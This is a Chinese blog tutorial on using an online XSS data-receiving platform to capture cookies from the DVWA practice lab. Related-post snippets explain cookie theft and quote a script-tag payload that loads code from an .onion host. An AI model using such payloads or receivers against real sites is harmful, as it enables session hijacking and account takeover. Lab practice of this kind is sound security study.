XSS数据接收网站——XSS在线平台

已于 2023-07-01 22:59:21 修改
阅读量3.6k 收藏 10
点赞数 3
分类专栏： web安全工具介绍与安装 web安全 文章标签： xss
于 2023-06-17 20:02:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/p36273/article/details/131264010
版权

文章目录

前言

平台的网址是：

链接: XSS在线平台

在这里插入图片描述

使用步骤

1、进入到xss在线平台主页

在这里插入图片描述

2、创建项目

我的项目，点击创建，项目名称和描述随便填，之后点击下一步，选择需要的模板，这里选择“基础默认模块”就好，之后点击下一步，项目就创建成功了
在这里插入图片描述
在这里插入图片描述

3、生成攻击poc

项目创建成功后，任意复制一条生成的poc，到dvwa靶场的xss模块执行poc
在这里插入图片描述
在这里插入图片描述

4、查看返回结果

在dvwa中执行完poc后，点击刚刚创建的项目就可查看到接收到的靶场的cookie
在这里插入图片描述

p36273
关注
  • 3
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
XSS平台源码(xsser.me)
12-27
XSS平台源码(xsser.me)
搭建HTTPS XSS漏洞利用平台
xxx9686的博客
09-26 605
蓝框域名证书紫框root根证书两张证书则需要合并填入面板证书的右边蓝框中（用文本编辑器完整复制粘贴进去）若不合并只填蓝框域名证书手机访问就会报缺失证书链/不安全等。1、修改config.php里面的数据库连接字段，包括用户名，密码，数据库名，访问URL起始和伪静态的设置。蓝框.crt后缀的是证书（也可能是pem后缀），填入面板证书的右边蓝色框中（用文本编辑器完整复制粘贴进去）以下是文本编辑器里的截图，蓝色域名证书放上面的蓝框中紫框root根证书放下面的紫框中（注意完整）
搭建属于自己的xss平台
热门推荐
m0_60716947的博客
05-03 1万+
一、什么是打 cookie 简单来说就是：在你访问的页面上执行了一次JS代码，这次代码的执行后可以获取你当前已经登录某个网站的cookie ，并将该cookie 发送到攻击者指定的网站，攻击者利用你的cookie 登录你的账号。 攻击者用来接收cookie 的平台就叫做xss 平台，在网上其实有很多这种平台，但其实有的平台存在黑吃黑的现象（懂得都懂），而且有很多渗透测试任务都是保密的，不可能去第三方网站。 二、cookie 接收平台 这里推荐一个平台，BlueLotus_XSSReceiver
XSS-Demo: 一款深入了解和实践跨站脚本攻击的安全学习平台
最新发布
gitblog_00077的博客
03-27 420
XSS-Demo: 一款深入了解和实践跨站脚本攻击的安全学习平台 项目地址:https://gitcode.com/haozi/xss-demo XSS-Demo 是一个开源项目，旨在为安全专业人员、开发者及网络安全爱好者提供一个实践和理解跨站脚本（Cross-Site Scripting, 简称XSS）攻击的平台。该项目通过各种示例展示了不同类型的XSS漏洞，帮助用户更好地预防和解决这类常见的W...
渗透工具开发——XSS平台的命令行实现
Spontaneous_0的博客
02-20 1025
渗透工具开发——XSS平台的命令行实现
XSS平台网站源码.zip
09-28
XSS平台网站源码，有利于辅助xss跨站脚本学习XSS平台网站源码，有利于辅助xss跨站脚本学习
XSS测试平台.zip
08-06
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台
xss-receiver:简单易用的 xss 接收平台 + payload 管理平台
05-26
XSS Receiver 基于 Flask 的 xss 接收 + payload 管理平台, 主要功能: 在特定路由上保存访问历史以及携带数据 命中特定路由时发送邮件 动态切换路由及其对应的 payload 文件 管理、编辑 payload Docker 快速部署 安装 clone git clone https://github.com/rmb122/xss-receiver.git 安装 修改 docker-compose.yml 里面的 environment 成想要的配置 URL_PREFIX 为管理面板的路径, 建议修改为不易猜出的路径, 例如 /e7ca70a07ec48cdc74c2217f55d08c383d37e62d LOGIN_PASSWORD 为登录密码, 其他可以不用修改 然后 sudo docker-compose up -d 稍等一会等待数据库初始化即可. 注
XSS数据接收平台——蓝莲花（BlueLotus）
p36273的博客
06-17 4711
蓝莲花平台是清华大学曾经的蓝莲花战队搭建的平台，该平台用于接收xss返回数据。用xss数据接收平台的好处：正常执行反射型xss和存储型xss，反射型xss在执行poc时，会直接在页面弹出执行注入的poc代码；存储型则是，在将poc代码注入用户的系统中后，用户访问有存储型xss的地方，也会弹出执行的poc代码，即如下图所示；而使用这种数据接收平台，在用户页面就不会再弹出这个窗口，但在数据接收平台还是可以获取到用户的cookie，以免被用户发觉。
利用XSS在线平台获取用户cookie
人若无名，便可专心练剑
08-04 998
//XSS弹窗： <script>alert("xss")</script> XSS漏洞： //XSS弹窗： <script>alert("xss")</script> //XSS在线平台： <ScRipT sRc=//7ix7kigpovxdbtd32fuspgffmtmufo3wwzgnzaltddewtbb4mnek5byd.onion/xTtC01></SCriPt> 利用XSS端口
XSS平台的使用
weixin_47306547的博客
09-16 4712
1）注册并登录 https://xss.pt/xss.php?do=register 2）创建项目及其用法 <?php $input = $_GET['input']; echo "<div>".$input."</div>"; ?>
xss测试平台搭建
xdjxi的博客
03-16 5174
1.拉取镜像 docker pull daocloud.io/library/mysql:5.6 2.运行mysql服务，密码为root，端口号为3306 docker run --name mysqlserver -e MYSQL_ROOT_PASSWORD=root -d -i -p 3306:3306 daocloud.io/library/mysql:5.6 3. 搭建xss测试平台，拉取镜像 docker pull daxia/websafe 4. 运行容器 docker run --n..
xss游戏平台源码
12-12
xss游戏平台源码
xss平台源码
09-28
xss平台，可以实现XSS盲打等，需要的朋友可以下载。
xss平台搭建源码，xss漏洞练习
06-03
xss平台搭建源码，用于练习xss漏洞，适用于网络安全学科的爱好者和学生，下载后解压缩到www目录下，需要将xss-sql导入数据库，并更改一下源码部分内容，很容易。最后要配置伪静态文件。
最新完善版XSS平台源码.zip
11-08
在CSDN上找了好多都是收费好贵的XSS平台源码，为了不让大家损失过多的币，忍痛把自己的源码分享低价给大家用。比某些黑心的分享者50币..要好点吧，代码是一样的，都是最新的。里面只有个默认模块，那些Xss注入语句模块是需要大家自己去找的。放心绝对纯净无后门
XSS测试代码大全————
11-03
XSS测试代码 安全测试 XSS测试代码大全
Xss测试平台.zip
03-06
XSSer——用于检测和利用XSS漏洞的自动Web测试框架工具 XSS是一种非常常见的漏洞类型，它分布非常广泛，且比较容易被检测到。 攻击者可以在无需验证的情况下将不受信任的JavaScript片段插入到应用程序中。然后，该JavaScript片段将会被访问目标站点的受害者执行。https://gbhackers.com/a3-cross-site-scripting-xss/ 跨站点“Scripter”(又名Xsser)是一个自动框架，用于检测、利用和报告基于Web的应用程序中的XSS漏洞。 它包含几个可以绕过某些过滤器的选项，以及各种特殊的代码注入技术。
XSS练习平台
07-17
XSS练习平台、XSS练习平台XSS练习平台XSS练习平台XSS练习平台XSS练习平台
cnn检测xss攻击
12-03
XSS（跨站脚本攻击）是一种常见的网络安全威胁，通过在网页中插入恶意脚本来攻击用户。为了检测XSS攻击，CNN（卷积神经网络）可以被用于建立一个有效的模型。 CNN是一种专门用于处理图像识别和计算机视觉问题的深度学习模型。我们可以将网页内容视为一种图像，通过CNN来识别其中是否存在恶意脚本。首先，我们需要收集大量的包含XSS攻击和正常网页内容的数据集，然后将这些数据集分割为训练集和测试集。 接下来，我们可以利用卷积层和池化层来提取网页内容的特征，然后通过全连接层将这些特征与XSS攻击进行关联。在进行模型训练时，我们可以使用梯度下降等优化算法来不断调整模型参数，以便让模型能够更准确地识别XSS攻击。 在模型训练完成后，我们可以使用测试集来验证模型的准确性和鲁棒性。通过对CNN模型进行评估，我们可以得出模型在检测XSS攻击方面的表现情况，并根据评估结果对模型进行调整和优化。 总的来说，利用CNN来检测XSS攻击是一种有效的方法，通过构建深度学习模型，我们可以更好地保护用户免受XSS攻击的威胁。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值